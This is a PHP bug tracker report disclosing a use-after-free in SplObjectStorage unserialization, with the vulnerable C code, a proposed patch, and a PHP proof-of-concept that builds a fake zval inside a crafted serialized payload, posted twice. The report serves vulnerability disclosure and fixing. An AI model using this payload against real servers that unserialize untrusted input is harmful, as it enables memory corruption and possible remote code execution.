|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2015-08-27 10:44 UTC] taoguangchen at icloud dot com
Description:
------------
```
ALLOC_INIT_ZVAL(pentry);
if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {
zval_ptr_dtor(&pentry);
goto outexcept;
}
var_push_dtor(&var_hash, &pentry);
if(Z_TYPE_P(pentry) != IS_OBJECT) {
goto outexcept;
}
ALLOC_INIT_ZVAL(pinf);
if (*p == ',') { /* new version has inf */
++p;
if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {
zval_ptr_dtor(&pinf);
goto outexcept;
}
}
```
it has been demonstrated many times before that __wakeup() leads to ZVAL is freed from memory. and during deserialization will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely.
PoC:
```
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}';
$exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';
$data = unserialize($exploit);
var_dump($data);
function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
```
fix:
```
ALLOC_INIT_ZVAL(pentry);
if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {
zval_ptr_dtor(&pentry);
goto outexcept;
}
+ var_push_dtor(&var_hash, &pentry);
if(Z_TYPE_P(pentry) != IS_OBJECT) {
zval_ptr_dtor(&pentry);
goto outexcept;
}
ALLOC_INIT_ZVAL(pinf);
if (*p == ',') { /* new version has inf */
++p;
if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {
zval_ptr_dtor(&pinf);
goto outexcept;
}
+ var_push_dtor(&var_hash, &pinf);
}
```
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sun Oct 26 09:00:01 2025 UTC |
update PoC: ``` class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}'; $exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}'; $data = unserialize($exploit); var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ```